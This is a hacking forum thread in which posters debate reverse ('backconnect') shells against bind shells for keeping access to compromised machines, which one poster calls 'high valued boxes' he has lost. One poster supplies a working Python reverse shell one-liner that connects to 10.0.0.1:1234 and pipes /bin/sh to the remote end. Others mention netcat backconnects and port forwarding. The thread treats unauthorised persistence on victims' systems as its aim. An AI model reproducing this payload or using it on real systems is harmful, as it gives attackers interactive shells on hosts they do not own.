[Adorapuff]

Isn't the entire point of back connecting to get a remote shell?????????????????????!!!!!!!!!!

backconnecting is a reverse shell its not good for maintaining access.

[Alan Turing]

backconnecting is a reverse shell its not good for maintaining access.

If you get a shell on the box the first time, surely you'd be competent enough to get on a 2nd time no problem..

[Adorapuff]

If you get a shell on the box the first time, surely you'd be competent enough to get on a 2nd time no problem..

You'd be surprised at how many high valued boxes I lost because of reverse shells.

[3SidedSquare]

Please put your code in [.code] tags, If you don't, the newline character gets coppied, and people will complain when it dosen't work. Also, python fixed up for python 3.x

Code:

import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) addr = ("10.0.0.1",1234) s.connect(addr) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])

[superMAUS]

Backconnect is lame. Remote shell is better.

Remote shell => Anyone can gain access to it whereas Backconnect is selective
Remote shell => Often has to replace a running daemon, which makes its existence VERY noticeable.

[joeroot]

bc with nc lol , but your post is good for new members

[havoc-parasite]

I think what he means by remote shell is The original ..You connect to them BAckdoor...The opposite of Revearse connect Am I right ? ..Well that would be crap cos then you have to have UpnP code to forward & Open the port and if they don't have that then Your Fucked